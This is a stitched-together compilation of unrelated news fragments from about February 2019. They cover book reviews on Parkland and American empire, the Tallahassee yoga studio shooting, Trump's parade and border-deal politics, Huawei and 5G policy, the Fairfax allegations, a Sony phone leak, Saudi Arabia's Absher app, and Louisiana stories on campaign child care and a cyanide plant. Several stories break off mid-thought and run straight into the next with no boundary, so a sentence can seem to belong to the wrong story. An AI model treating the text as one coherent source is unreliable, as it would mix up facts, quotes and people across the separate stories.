On the one hand, theres the sex, drugs and rock n roll story of Bronx-raised Steven Tallarico, joining forces with Joe Perry in 70s-era Boston to become Steven Tyler of Aerosmith. Edgers pegs the two as polar opposites: While Perry has his personality knob set on permanent mumble, Tyler blasts into a conversation. He makes up words and phrases and draws on entire waiting rooms of personalities. He dances across decades, cities and relationships. They made an electrifying onstage duo  until they fell victim to the cliches of rock stardom, battling addiction and going from filling stadiums to grasping at straws for a hit.The Parkland survivors emerged at just the right time for Cullen. He wrote the book Columbine, a deeply researched and thorough account of the 1999 massacre at a Colorado school that ushered in the era of school shootings. Years of covering shootings, being called as an expert talking head on shootings, writing and thinking about shootings have left Cullen with a diagnosis of vicarious traumatization, he writes, and twice in the last seven years hes found himself sobbing and immobilized for days. Although he doesnt say it explicitly, following the Parkland kids seems like a form of therapy for Cullen himself, and, he hopes, the nation. There were no vacant stares from the Parkland survivors, he writes. This generation had grown up on lockdown drills  and this time, they were ready.

[ Read our review of Dave Cullens Columbine. ]

With Parkland, Cullen aims for a straightforward inspirational story of a group of kids healing each other as they fought. They knew one another from drama club, and instinctively understood how to position themselves on a national stage. At a candlelight vigil, one of them introduced herself to the Florida congresswoman Debbie Wasserman Schultz, who connected her to a state senator, who helped the kids figure out how to get floor time at the statehouse. Another came up with #NeverAgain while he was on the toilet in his pajamas. The hashtag went viral and landed him on Anderson Cooper 360 and NPR. Basically every time Emma Gonzalez opened her mouth, she went viral. And within a couple of weeks they had ambitions of planning a rally as big as the Womens March.

Image

How or why these particular kids came to be so rapidly effective is not exactly clear from the book. Cullen partly chalks it up to generational wisdom. They understood news cycles and Twitter, viral videos and memes, and they set out to make themselves as relevant as possible. They understood they would be perceived as privileged white kids who live in gated communities, so they made alliances with groups that focus on urban school violence and shared the stage with them. They understood that no politician wants to be seen dismissing a kid who just saw his or her friends shot, so they staged as many showdowns as possible. In retrospect it seems extraordinary that all the pieces came together so effortlessly, yet even after reading the book Im not exactly sure why this group of kids, at this particular moment.

In Columbine, Cullen punctured the lazy media narrative that the shooters, Eric Harris and Dylan Klebold, were goth vigilantes, crusaders against bullies and mean girls. They were, he concluded, a psychopath and a depressive, and should be viewed through the lens of mental illness, and not school cliques and revenge  a point hes repeated about many school shooters since. And partly thanks to Cullen, the rules of covering shootings have shifted. Its become something of a taboo to spend too much energy on the psyche of the shooters, and definitely a taboo to glamorize their motives in any way.It was an obscure word, appertaining, Immerwahr writes, as if the laws writers were mumbling their way through the important bit. It seemed to signal a discomfort, or at least the semblance of it. Soon enough, such official compunction was decidedly on the wane. Theodore Roosevelt, serving as William McKinleys assistant secretary of the navy, pursued the Spanish-American War of 1898 with the zeal you would expect of someone who toted around a book called Anglo-Saxon Superiority.

Immerwahr devotes several chapters to the ensuing five decades, as the United States annexed Puerto Rico and the Philippines, brutally crushing independence movements, torturing Filipino insurgents with the water cure and giving mainland doctors veritable carte blanche to treat Puerto Rico as a medical laboratory. Seen through Immerwahrs lens, even the most familiar historical events can take on a startling cast. Take World War II in the Philippines: Pointing to the murderous combination of American shelling and Japanese slaughter of civilians, he calls the war by far the most destructive event ever to take place on U.S. soil.

The role that racism played in the countrys colonial acquisitions was palpable but sometimes counterintuitive. While imperialists often spoke about civilizing the savages, some of the most ardent anti-imperialists in the 19th century were white supremacists like John C. Calhoun, the senator from South Carolina, who was wary of letting any but the Caucasian race into the Union. The 1867 purchase of Alaska from the Russians encountered similar resistance, with The Nation complaining about the prospect of Exquimaux fellow citizens. As Immerwahr tartly observes, The deal went through only because, in the end, there werent that many Exquimaux, and there was quite a lot of Alaska.

Immerwahr brings the narrative up to the present day, exploring the American decision to give up territory after World War II, which he calls virtually unprecedented  after all, victorious countries tended to do the opposite. But this twilight of formal empire wasnt simply the result of American selflessness. Technological advances eroded the connection between power and land. Securing access to a raw material like rubber mattered less when you could manufacture a synthetic version of it. The big exception, of course, has been oil  the one raw material that has most reliably tempted politicians back into the old logic of empire.

What the United States has now is a pointillist empire: specks of land scattered around the world that have served as military bases, staging grounds, detention facilities, torture sites. (The United States has 800 overseas bases, whereas Russia has nine; most countries have zero.) If Theodore Roosevelt was the swashbuckling emblem of the countrys formal empire, Herbert Hoover  an astonishingly capable bureaucrat before he became a not-very-capable president  represented the turn toward globalization, standardization and logistics.

Its a testament to Immerwahrs considerable storytelling skills that I found myself riveted by his sections on Hoovers quest for standardized screw threads, wondering what might happen next. But beyond its collection of anecdotes and arcana, this humane book offers something bigger and more profound. How to Hide an Empire nimbly combines breadth and sweep with fine-grained attention to detail. The result is a provocative and absorbing history of the United States  not as it appears in its fantasies, but as it actually is.AMSTERDAM  If theres a single work that encapsulates the artistry of Erwin Olaf, a leading Dutch photographer known for meticulously staged pictures that challenge social taboos and explore human frailty, it might be his 2005 portrait of a young woman in a yellow dress from the Hope series.

The brunette with a yellow ribbon in her hair seems to have just halted in the doorway of her hotel room. She touches her neck with one hand and there is a profound expression on her face. Has she just escaped an argument in her room? Is she hesitating before entering? Or has she been suddenly struck by terrible news?

The photograph contains all of Mr. Olafs signature technical elements: painterly lighting, formalist composition, styling that we associate with fashion photography  that seductive, perfectionistic polish. Then theres the final touch that elevates Mr. Olafs images into the realm of high art, an unsettling feeling. As viewers, we are always compelled to ask: What has happened here?About three months before Scott P. Beierle shot two women to death, injured five other people and killed himself at Hot Yoga Tallahassee in November 2018, the F.B.I. received a tip about him, the Tallahassee Police Department said Tuesday.

In August 2018, Mr. Beierle shared a link to his website Path of Defiance with a childhood friend and his wife, who was so disturbed by the content  it included songs about the rape and torture of women  that she shared it with the Federal Bureau of Investigation. But according to police records, the bureau did not have enough information to pursue the lead.

The F.B.I. did not immediately respond to a request for comment.

The revelation that the bureau had been alerted to Mr. Beierle was among new details released by the Tallahassee Police Department at a news conference on Tuesday afternoon announcing the findings of a three-month investigation. It found that Mr. Beierle had planned the attack for months and had an affinity for pornographic yoga and a documented disdain for the opposite sex.

Speaking at a news conference on Tuesday afternoon, Chief Michael DeLeo said that while Mr. Beierle had no known connection to any the seven victims (six were female), he was a disturbed individual who harbored hatred towards women.WASHINGTON  Just when it looked like President Trump had been outmaneuvered on his order for a parade in the capital, he struck up the drumbeat again.

This time, the commander in chief suggested on Tuesday, might the Fourth of July be more conducive for a celebratory march?

After being stymied last year on his proposal for a military parade like one he saw while visiting Paris, Mr. Trump has now turned to the Interior Department to give him what the Pentagon would not. He even has a name for it.

A Salute to America parade, the president said at a meeting of his cabinet at the White House. He called it more of a gathering, as opposed to a parade, I guess youd have to say.WASHINGTON  President Trump demanded on Tuesday that a freshman lawmaker from Minnesota resign after she posted tweets deemed anti-Semitic even by fellow Democrats, but those tweets echoed some of the same insinuations about Jews and money that he has trafficked in for years, as a candidate and president.

Mr. Trump rejected the apology of Representative Ilhan Omar, one of the first two Muslim women elected to Congress, saying, it was lame, and she didnt mean a word of it. Ms. Omar, he said, should leave the House or, at a minimum, give up her seat on a coveted committee.

Anti-Semitism has no place in the United States Congress, Mr. Trump told reporters during a cabinet meeting. Congressman Omar is terrible, what she said. And I think she should either resign from Congress or she should certainly resign from the House Foreign Affairs Committee.

Ms. Omar issued her mea culpa after a bipartisan storm of protest over the tweets, in which she said that the United States support for Israel was paid for with money from a pro-Israel lobbying group. Its all about the Benjamins baby, she wrote on Twitter, referring to $100 bills.Some European officials have considered enlisting the North Atlantic Treaty Organization in the debate, arguing that decisions about what companies to use to build wireless networks are a matter of national sovereignty. While some European countries, like Poland, have embraced the United States point of view, Huawei is intertwined in European networks and many countries have made heavy use of its equipment. Britain has allowed the company to build equipment outside its core networks, but has an oversight board that closely examines Huaweis equipment and software.

Australia was one of the first allies to move against Huawei, announcing a ban last year.

Some members of Congress have been skeptical of banning Chinese companies by executive order, including Senator Richard M. Burr, Republican of North Carolina, who leads the Senate Intelligence Committee.

Mr. Burr has said discussions with telecom companies could prompt them to voluntarily block Huawei. Indeed, big carriers like Verizon and AT&T have said they will not use Huawei equipment. But administration officials have said that without an executive order, smaller companies that serve large parts of the rural United States might use Chinese equipment.

Government and industry officials have said the move to 5G networks will be more revolutionary than evolutionary. Unlike earlier generations of wireless networks, they will run more on software than hardware, allowing the possibility that companies that control the networks to divert information without being detected.

This capability comes as Washington and its allies have become more suspicious of Beijing, arguing that a series of new laws gives it unfettered access to data that crosses networks built and maintained by companies based in China.

Much of the attention has been on Huawei, because it makes some of the best and least expensive equipment that can go into a 5G network. It has also been the subject of Department of Justice indictments accusing it of stealing competitors trade secrets and is at the center of a spy scandal in Poland.

But administration officials said the executive order would ban a broad array of foreign equipment, not just Huawei. It would also prevent any Russian software from telecommunications networks. It would not ban European equipment makers like Ericsson or Nokia.Good Wednesday morning. Here are some of the stories making news in Washington and politics today.

_____________________

 President Trump declared that he was not happy about the bipartisan compromise on border security, but said he did not think the government would shut down on Friday. The deal includes just $1.375 billion for new fencing along the U.S.-Mexico border, much less than in the proposal he rejected in December. Here are five takeaways.

 The agreement would pay for 55 miles of new border fencing, a far cry from the 1,000-mile wall that Mr. Trump wants. Heres a visual look at what's been built on the border.

 A number of women are running for president, but Senator Kirsten Gillibrand of New York is the only one making feminism the central theme of her candidacy.As President Trumps global trade war approaches a pivotal moment, American industry is trying to use Mr. Trumps love of big economic numbers to get him to stand down.

Mr. Trump faces a series of decisions over the next several weeks about whether to ratchet up tariffs on Chinese goods, impose new duties on imports of foreign cars and keep metal tariffs on trading partners like Canada and Mexico. While Mr. Trumps economic North Star has long been reducing the trade gap between what America exports and what it imports, industries from soybean farmers to nail manufacturers are trying to convince Mr. Trump that his policies are having the opposite effect  by dampening exports of some of Americas most cherished products.

On Tuesday, the American spirits industry joined the growing chorus of businesses and trade groups trying to get Mr. Trump to remove tariffs on Chinese goods and foreign metals by showcasing the economic pain that the trade war has inflicted.

Since the Trump administration initiated tariffs last year on foreign steel and aluminum, $763 million worth of American spirits exports have been subject to retaliatory tariffs, according to data released by the Distilled Spirits Council, an industry group. The most draconian duties have come from Europe, where the rate on American whiskey is 25 percent.But Mr. Fairfaxs ever-upward career trajectory suddenly took a sharp turn. Two women have come forward with detailed allegations that he sexually assaulted them, one in a fraternity house at Duke University in 2000 and the other in a hotel room at the 2004 Democratic National Convention.

He allegedly committed the assaults during some of the most formative years of Mr. Fairfaxs ascent, when classmates were sure he was on his way to a powerful career in politics. One of the accusers did not tell the authorities at the time, her lawyer said, partly because Mr. Fairfax was a politically influential figure on the Duke campus.

Now, some who knew Mr. Fairfax are wondering how well they had really known him all along.

Democratic leaders and lawmakers have called for Mr. Fairfax to resign; Duke University has asked him to step down from a board position; the law firm where he works has placed him on leave; half of his staff has resigned; as earlier reported by the Boston Globe, the district attorney in Suffolk County, Mass., where the 2004 Democratic convention took place, has said she would investigate the accusation there if the woman involved decides to file a criminal complaint. Though Mr. Fairfax has denied the allegations and may survive in his current term in office, the likelihood of winning a future election is dim in a Democratic primary and even dimmer in a general election, said Larry J. Sabato, the director of the University of Virginias Center for Politics.

Summing up his chances now in electoral politics, Mr. Sabato said: Obliterated.

[Read more on how scandals that have roiled Virginias leaders are testing the limits of forgiveness for constituents.]

In a statement Tuesday, Lauren Burke, Mr. Fairfaxs communications director, said, Mr. Fairfax has asserted consistently that he has never sexually assaulted anyone ever. He has called for an independent and impartial investigation of the allegations against him and said that he looks forward to cooperating fully and completely with any such investigation.Its foolish and its dangerous, he said.

Jeannette Eileen Jones, a professor of history and ethnic studies at the University of Nebraska, Lincoln, said it was a symptom of a failure to recruit more black officers. Baton Rouge, Louisianas capital, is among the last cities in the state to remain under a federal decree intended to decrease discrimination against women and black applicants for the police and fire departments, The Advocate newspaper reported last year.

Youre claiming to take on someone elses racial traits, and given the history of blackface in the United States and its origins, I cant understand why anyone thinks thats O.K., Ms. Jones said. It is simply about mocking and exaggerating and stereotyping an entire group of people.

On Monday evening, Sharon Weston Broome, the mayor-president of Baton Rouge, said in a statement that blackface is more than just a costume and that it invokes a painful history in this country and it is not appropriate in any situation.

While this may have been department-approved 25 years ago, that does not make it right, she said.

The plan on the night in question in February 1993 was to have two white detectives, including Mr. Caruso, pretend to deal crack cocaine in a predominantly black neighborhood in Baton Rouge that had a high rate of street-level drug crime. Mr. Caruso said the narcotics team did have two black detectives, but their faces were known in the neighborhood.

The sting operation was also detailed in a 1993 article in The Advocate.

Mr. Caruso likened using the disguise to preparing for other undercover assignments, like dressing as a biker or a prostitute.

Asked if he thought he was stereotyping black people, he said that he did not think he was, and that he was not intending to hurt anyone.

We dressed up for the assignment that we were working, he said.

In 2007, a photo of the two detectives was published in a police yearbook, according to a police spokesman.The incident involved a female 17-year-old Evanston Township student, Glew said. The alleged assault occurred on Nov. 23 in Evanston while Haywood was still employed at the school, Glew said. He no longer works at the high school.Among the charges laid out in the indictment are numerous attempts by gang members to pay others to kill a man identified as Bruce Wayne Hurley. A man by that name was shot and killed near Russellville in May 2016. Prosecutors said that the investigation into his death was continuing.

Members of the group kidnapped, stabbed and abused others in retaliation for providing information to law enforcement officials, according to the indictment. It also charges that in June 2017, several members pressed a heated knife to a mans face, leaving him permanently disfigured.

Most of those charged on Tuesday are in state or federal custody; others were previously released on bail, while three remain fugitives, the authorities said. Information on defense lawyers was not immediately available.

The United States attorney for the Eastern District of Arkansas, Cody Hiland, said his office was prosecuting the case using the RICO law, the federal statute enacted in 1970 to combat organized crime. The law  its full name is the Racketeer Influenced and Corrupt Organizations Act  allows prosecutors greater flexibility to hold anyone who is part of a criminal enterprise responsible for its acts.

In short, with RICO, if you are a member of the criminal organization, youre in for a penny, youre in for a pound, Mr. Hiland said at a news conference on Tuesday.The biggest concern by many Democrats is the potential harm to consumers from the merger. Regulators during the Obama administration were adamant that the nation needed four big nationwide wireless carriers to keep prices from rising too quickly, and to pressure carriers to deploy better and faster services. They often pointed to T-Mobiles innovative deals for consumers as evidence that it provided beneficial competition to the top two wireless carriers, Verizon and AT&T.

We need to understand how the merging of two of the four largest wireless carriers will affect consumer prices, American workers and competition, Representative Frank Pallone Jr. of New Jersey, the Democratic chairman of the Energy and Commerce Committee, said in a statement. We also want to make sure that the F.C.C. puts consumers first as it reviews whether this merger is in the public interest.

Regulators appointed by Mr. Trump, as well as Republican lawmakers, have not taken a similar stand. The president has made the advancement of 5G wireless technology, the next generation of mobile broadband networks, a national priority. He has pointed to Chinas lead on 5G as a national security threat, because the technology will be used to run advanced robotics and technologies like driverless cars.

T-Mobile and Sprint have pitched their merger as a way for the United States to advance 5G technology, particularly to rural areas that cable services dont reach. They say that by combining resources, they will be able to invest more heavily and quickly in the newest wireless technologies and bring them to market faster.

Since the moment the deal was announced last year, the companies have tried to sell the deal to Washington officials with an aggressive charm offensive. Mr. Legere has made numerous visits to the F.C.C. and the Justice Department in the past year and has documented many of his visits on social media. One month after the merger was announced, Mr. Claure of Sprint acted as co-host of a fund-raiser for Representative Marsha Blackburn, a prominent Republican lawmaker from Tennessee running for the Senate, who has long supported issues favorable for the telecommunications industry. She won her election in November.

More recently, T-Mobile hired Mignon Clyburn, a former Democratic F.C.C. commissioner, as an adviser on its deal. Ms. Clyburn, a fierce advocate for low-income communities, has criticized the lack of competition in the wireless industry. The company also relies on Robert McDowell, a former Republican F.C.C. commissioner, as a consultant for the deal.INTERNATIONAL

An article on Friday about Britains chief medical officers calling for restrictions on childrens use of screens and social media misidentified the organization that set guidelines for childrens use of media in the United States. It is the American Academy of Pediatrics, not the American Association of Pediatrics.



An article on Jan. 31 about Russian influence in Venezuela referred incompletely to the countries in Latin America that support President Nicolas Maduro. In addition to Nicaragua and Cuba, Bolivia and Suriname also support him.

NEW YORK

An article on Monday about a prosecutors decision to drop an abortion charge in a Queens murder case misspelled the surname of Anthony Hobsons defense lawyer. He is Steven Questore, not Questlore.

BUSINESS

An article on Saturday about a new business venture by Les Moonves, the former chief executive of CBS, referred imprecisely to the payment of legal fees incurred by Mr. Moonves. Although CBS paid some of Mr. Moonvess legal fees, it is not paying them amid an arbitration fight over his severance.What will President Trump do now? This is the $5.7 billion question confronting Congress as the latest government-funding deal grinds its way toward his desk.

Desperate to avoid another shutdown debacle, negotiators on the House-Senate conference committee reached a bipartisan agreement in principle on Monday evening that, among many other measures, would provide $1.375 billion for border barriers  less than a quarter of the wall funding Mr. Trump has been demanding. News of the tentative deal trickled out as the president was headed into a rowdy Finish the Wall rally in El Paso.

Will Mr. Trump accept this new bill or veto it? Will he sign it but then declare a national emergency and order the military to build the wall? Will he try to reprogram money approved by Congress for other ends  disaster relief, flood control, housing for military families? Maybe theres a none of the above option that he is preparing to spring on everyone at the last second.

Whatever path the president is inclined to take, Republican leaders are sending him a clear message along with the deal: This is the best offer hes going to get under the circumstances, and if he refuses it, hell wind up hanging out on that political limb alone.Indeed, the story added, the College Board reports that from 2017 to 2018 female, African-American and Hispanic students were among the fastest growing demographics of A.P. computer science test-takers, with increases in exam participation of 39 percent, 44 percent and 41 percent, respectively.  For context, in 2007, fewer than 3,000 high school girls took the A.P. Computer Science A exam; in 2018, more than 15,000 completed it.

The A.P. U.S. Government and Politics course also was reworked. At a time when we have a president who doesnt act as if hes read the Constitution  and we have a growing perception and reality that college campuses are no longer venues for the free exchange of ideas and real debate of consequential issues  Coleman and Sanford concluded that it was essential that every student entering college actually have command of the First Amendment, which enshrines five freedoms, not just freedom of speech.

Every student needs to understand that, as Coleman put it, our country was argued into existence  and that is the first thing that binds us  but also has some of the tensions that divide us. So we thought, What can we do to help replace the jeering with productive conversation?

It had to start in high school, said Sanford, who is leading the two codes initiative. Think of how much more ready you are to participate in college and society with an understanding of the five freedoms that the First Amendment protects  of speech, assembly, petition, press and religion. The First Amendment lays the foundation for a mature community of conversation and ideas  built on the right and even obligation to speak up and, when needed, to protest, but not to interrupt and prevent others from speaking.

This becomes particularly important, she noted, when technology and democracy are thought of as in conflict, but are actually both essential and need to work in tandem.

One must observe only how Facebook was abused in the 2016 election to see that two of the greatest strengths of America  innovation and free speech  have been weaponized. If they are not harmonized, well, Houston, we have a problem.

So the new A.P. government course is built on an in-depth look at 15 Supreme Court cases as well as nine foundational documents that every young American should know. It shows how the words of the Constitution give rise to the structures of our government.The wealthiest 1 percent of New Yorkers control about 31 percent of the states income, according to data from the Economic Policy Institute, a Washington-based think tank. They also account for half of the states income taxes, according to Mr. Cuomo.

There is a tipping point where people say, I love New York, but to spend another $300,000 in taxes, Ill move to Florida, the governor, a Democrat, said in a radio interview last week. You know, tax the rich, tax the rich, tax the rich. Most progressive tax code, proud of it. But now look at how fragile your economy is.

The State Senates Democratic majority leader, Andrea Stewart-Cousins, of Westchester, has also dismissed the idea of new taxes.

Of course, progressive activists have argued for years that higher taxes on the rich would not hurt the states economy. But the Patriotic Millionaires hope  and that of the grass-roots groups aligned with them  was that the message would have more weight coming from, well, the rich.

New York will always be New York. Theres no other place like it, and millionaires are concentrated here because of that, said Abigail Disney, the great-niece of Walt Disney and a member of the Patriotic Millionaires.

The states current tax on high earners, which was branded as a millionaires tax but affected people earning more than $300,000, was introduced in 2009.

Between then and 2016, the number of millionaires filing taxes in New York increased by 72 percent, with those millionaires total income increasing by 54 percent in that time, according to the Fiscal Policy Institute, a union-backed nonpartisan think tank. Non-millionaires income increased by 33 percent in the same period.When Mr. Guzman had been evading the combined pursuit of United States intelligence agencies and the Mexican military, he maintained the myth of a benevolent outlaw who used his ill-gotten riches for the good of his community.

Yes, he was the most wanted narcotrafficker, but I also think he gave support to the most humble people, to low-income families, said Gisel Chavarria, 23, a flower seller in a street market in an affluent neighborhood of central Mexico City.

His mistake, even before his capture, was to court more fame, said Adrian Lopez, the publisher of Noroeste, a leading newspaper in Culiacan, the state capital in Sinaloa. Mr. Guzman gave an interview to the actor Sean Penn and the Mexican actress Kate del Castillo that appeared in Rolling Stone magazine, along with a short video. He broke the basic rule of all Mafiosi, which is discretion, Mr. Lopez said.

The sordid details of his crimes revealed during the trial damaged his image as a charitable folk hero even more. In the public imagination, he stopped being a benefactor and he was portrayed as he was, a capo who spied on his lovers and associates, who killed, who corrupted officials, Mr. Lopez said.

Mr. Guzmans latest arrest in 2016 prompted a battle for control of the Sinaloa cartel, but the split seems to have been resolved, Mr. Lopez said. The Sinaloa organization remains the most important cartel in Mexico, he said.

The fact that Chapo will spend the rest of his life in a prison simply does not mean that the criminal groups and drug gangs will be taken down or dismantled, said Anabel Hernandez, a journalist who has been covering drug crime for more than two decades.

Mexicans are deeply aware of that and it doesnt mean they are indifferent to it, she added. It is they who are being murdered and made to disappear in the thousands, with or without El Chapo.All trains on the Rock Island Line will use PTC technology by the end of this year, he said. By the end of 2020, every train in the Metra system will benefit from PTC, he said.The current fire chief has thus far been unable to locate the camera, but is continuing to look for it, Ishler said. He said the states attorneys office was aware of the camera purchase, but did not know if it would result in additional charges.The attackers, who have not been identified, beat Chamble severely and drove off in his 2018 Nissan Rogue, leaving him for dead, police said. Despite his serious injuries, Chamble managed to make it back inside his home, where his teenage daughter found him slumped over on the couch a few hours later when she arrived home, according to police.Weve already seen the leaked Sony Xperia XA3 with its tall 21:9 widescreen 5.9-inch cinema display, but if you thought that was weirdly tall and long, Sony is set to outdo even that. The Xperia XA3 Plus has now leaked out and will be even taller with a 6.5-inch ultra-widescreen display.

Working For Notebookcheck Are you a techie who knows how to write? Then join our Team! Especially English native speakers welcome! English-Chinese-Translator - Details here



Its no secret that Sonys smartphone fortunes have taken a nose dive at the same time that Samsung has been on an upward trajectory. After years of failing to stand out from the smartphone crowd, Sony has decided that this year there will be no mistaking its smartphones for anything else out there on the market. Like the Xperia XZ4 and the Xperia XA3 leaked before it, the just surfaced Xperia XA3 Plus/Ultra will also feature a widescreen display with a 21:9 aspect ratio.

The key difference between the Xperia XA3 and the Xperia XA3 Plus/Ultra is that instead of a 5.9-inch display, it will stretch out to 6.5-inches wide, or tall, depending on how you look at it. Sony has long been synonymous with widescreen TVs, which are viewed in a landscape orientation, and it looks like it wants to transfer this into the smartphone space as well. Given that many of us spend much of our time with smartphones in a landscape orientation for viewing videos or playing games, it does (kind of) make sense that this design approach could work.

The flagship Xperia XZ4 features a display similarly proportioned at 6.55-inches and with the same 21:9 aspect ratio, but its resolution will be an impressive 1440 x 3360 pixels. The XA3 Plus/Ultra will probably offer the same 1080 x 2560 pixel resolution as the XA3 meaning that while it will have similar dimensions to the XZ4, it wont be in the same ballpark for sharpness. The XA3 line will probably feature LCD panels as well whereas we expect the XZ4 to follow in the footsteps of the XZ3 in offering a high-quality OLED panel. Expect to learn much more soon with MWC 2019 starting on 25 February, where it is anticipated that Sony will officially take the wraps off all three models.The Apple App Store and Google Play Store host an app called Absher in Saudi Arabia. It is an official portal by which users can manage their legal travel-related obligations. However, multiple Middle East experts allege that it is also used to restrict freedom of movement for women in the country.

Working For Notebookcheck Are you a techie who knows how to write? Then join our Team! Especially English native speakers welcome! English-Chinese-Translator - Details here



Absher is an official Saudi Arabian service that enables its users to do things such as pay their parking fines via its iOS or Android app. However, Business Insider has recently released a report suggesting that it has less innocuous purposes. It contains indications that the app is used to prevent women engaging in transit, particularly that which involves leaving Saudi Arabia, if they feel they need to.

This is because these Saudi individuals are assigned a male guardian by law, who can control when and how often they can take certain routes. Business Insider has reported that these restrictions can be imposed via Absher. This system also alerts guardians when the subject is moving towards a certain location (e.g. an airport) via SMS.

The resulting impact on freedom of movement has been corroborated in the article by multiple activists and experts on the Middle East and human rights. Some of them have also asserted that Absher has been triggered during some attempts on the part of women to leave the country. Therefore, multiple experts have criticized Google and Apple for hosting its apps on their platforms.

For example, a Middle East researcher for Human Rights Watch has pointed out that Apple and Google have rules against apps that facilitate threats and harassment and, thus, intimated that they should not tolerate others that enable other human rights infringements. On the other hand, this researcher also noted that governments should be allowed to fulfill their functions via apps, just not services that facilitate abuses.The chairman of the state board that oversees gambling in Louisiana abruptly resigned from his position Wednesday, the same day he was likely to face questions from a legislative committee about actions he took as a State Police commander in 2019 The Louisiana Ethics Board should reverse its sexist ruling and give House candidate Morgan Lamandre the OK Friday (Feb. 15) to use campaign money for child care expenses.

The boards decision against her in November was arbitrary and clueless. It also was inconsistent with past board rulings allowing several men to use their campaign funds to pay for child care.

Sens. J.P. Morrell and Troy Carter, both New Orleans Democrats, have said they will co-sponsor legislation this spring to allow child care as an expense. But that legislation likely wouldnt make it through the process soon enough for the entire campaign season. The Ethics Board should allow Ms. Lemandre and other candidates to go ahead and use campaign money for child care.

Louisiana: Where a man used campaign funds for childcare, but a woman running for office is denied

Ms. Lamandre, who is running for House District 66 this year, sent a letter to the board in December asking for the ruling to be reversed. [T]he Boards ruling, as it currently stands, disparately impacts working parents of small children who are not independently wealthy and will have the unintended result of preventing many parents from running for elected office, she wrote in a letter Dec. 18 to the ethics board. She and her husband both work and have 2-year-old and 6-year-old children.

In January, the Louisiana Legislative Womens Caucus also asked the Ethics Board to reconsider its decision. Franklinton Republican Sen. Beth Mizell, who is chairwoman of the caucus, said the groups 22 members were overwhelmingly in support of the request. It strikes us clearly as a womens issue, especially since the board had been in favor of it until a woman asked, Rep. Mizell said in January.

Even the Republican lawmaker who holds the House District 66 seat now disagrees with the ethics ruling. State Rep. Rick Edmonds, who will face Ms. Lemandre on the ballot this fall, tweeted Tuesday: I hope the Ethics Board reverses their opinion on this issue. Ive already had conversations with Sen. @BethMizell regarding legislative fixes we can pass

The Ethics Boards ruling overturned a decision made 18 years ago by previous board members allowing child care expenses for a male member of the Baton Rouge Metro Council. U.S. Sen. John Kennedy also claimed child care as an expense during a trip to Los Angeles when he was state treasurer.

The boards ruling against Ms. Lemandre also was out of step with the federal rules for campaign spending and rules in other states, including Arkansas.

The decision was bad enough, but some board members also made sexist remarks to Ms. Lamandre during the meeting in November. Ethics Board member Peppi Bruneau lectured her on her priorities as a parent.

You have children. Its your responsibility. Its your decision to make as to how to balance your priorities, Mr. Bruneau is heard telling Ms. Lamandre on an audio recording of the Ethics Board meeting. Child care should be personal. That should come before public office or anything else, in my opinion," he says.

It sounds like he thinks that women should stay home and let men handle the lawmaking.

Louisiana should aspire to have as diverse a Legislature as possible. Were far from that goal at this point. The state Senate only has five women out of 39 members. The House, which has 105 seats, has 25 women members.

The Ethics Boards ruling will help ensure those numbers stay low.

Child care is a practical expense, unlike some spending the Ethics Board has let candidates get away with. Senate President John Alario spent more than $23,000 on a suite at Tiger Stadium between 2009 and 2012, according to a 2014 report by NOLA.com | The Times-Picayune and WVUE Fox 8 News. After the spending was reported, he gave up the suite.

That investigation also found that Louisiana politicians spent $310,000 from their campaign funds for Mardi Gras parades.

Yet the Ethics Board thinks child care is problematic? Please.A substitute teacher in North Carolina has resigned after she allegedly told 10-year-old minority students that the Rev. Martin Luther King Jr. killed himself, the News & Observer reported Tuesday (Feb. 12).

The Wake County school system began investigating after some parents at Rand Road Elementary accused the teacher of making offensive comments on Friday, the report said.

One parent said the teacher began talking about President Donald Trump and told the students that they werent real Christians if they didnt support the president. It escalated, the parent said, with the teacher telling the students that King wasnt assassinated but had died by suicide, according to the report.

The teacher also allegedly told some students of color that they were marked for prison because of the clothes they wore.

See the full report by the News & Observer.Cornerstone Chemical Co.'s plan to build a $100 million hydrogen cyanide plant at its Fortier manufacturing complex near Waggaman drew scores of worried residents to a public hearing, WVUE Fox 8 television reports. The public has until Monday at 4:30 p.m. (Feb. 18) to submit written comments on the proposal to the Louisiana Department of Environmental Quality, but the agency also is considering extending the comment period.

The public hearing Tuesday night at Waggaman Playground lasted more than three hours, with many speakers expressing alarm that Cornerstone might obtain an air quality permit allowing the plant directly across the Mississippi River from Louis Armstrong International Airport. Fox 8 showed one unidentified speaker saying, We need guarantees. ... We are fearful for our life.

Can you imagine if a plane were to crash? Something were to go wrong? Children laying in the streets suffocating? Is that what we want to see?" WDSU quoted Melissa Taylor of Harahan as saying. "We dont need storage of this cyanide near us.

Cornerstones chief operating officer, Tom Yura, told Fox 8 that the company is listening. We understand that operating our facility today and into the future is actually a privilege that the community of Waggaman bestows on us, he said. So were very concerned when citizens want some information about what were doing.

Cyanide plant for West Bank alarms residents of east bank

The company and its predecessors have been producing cyanide at Fortier since the 1950s. The poisonous product has commercial uses in fumigation, electroplating, mining and chemical synthesis, and is an ingredient in nylon, plastics, dyes and pesticides. Cornerstones proposal would let it make another 50 million pounds per year of liquid hydrogen cyanide.

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The Department of Environmental Quality has received 830 comments about the permit application through Wednesday at mid-day. Agency spokesman Greg Langley said the Sierra Club and Jefferson Parish Council Paul Johnston have asked to extend the public comment period beyond Monday, and that a decision was pending.

$850 million Dyno Nobel ammonia plant completed in Waggaman

. . . . . . .

Drew Broach covers Jefferson Parish politics and education, plus other odds and ends, for NOLA.com | The Times-Picayune. Email: dbroach@nola.com. Facebook: Drew Broach TP. Twitter: drewbroach1.While the number of black males enrolled at WCC has remained fairly stable over the decade, Scott is determined to raise that percentage. And one way to do that is to do a better job of letting African-American males know about the college, he insisted, adding that too many may be aware of the downtown Aurora campus but did not know the Sugar Grove campus even existed.Beginning in August, thousands of Louisiana veterans will have access to mentors at 30 colleges statewide in an effort to help active-duty military service successfully transition to college.

Gov. John Bel Edwards and Louisiana Department of Veterans Affairs Secretary Joey Strickland signed an agreement with higher education leaders at Baton Rouge Community College Wednesday (Feb. 13) to create a new statewide campus veteran center initiative, according to a state news release. The LaVetCorps program will open 30 resource centers on campuses statewide to increase a student veterans access to state and federal benefits.

The men and women who selflessly dedicate their lives to secure the safety and freedoms of our state and nation deserve every opportunity to prepare themselves for the transition to civilian life, and Im proud of the partnerships that will help them continue to achieve their goals, Edwards said in a statement. This initiative will benefit both veterans and communities and thereby our state.

More than 8,300 Louisiana veterans and their dependents bring in more than $185 million in federal dollars to Louisianas higher education communities each year through G.I. Bill funding, the state Veterans Affairs department stated.

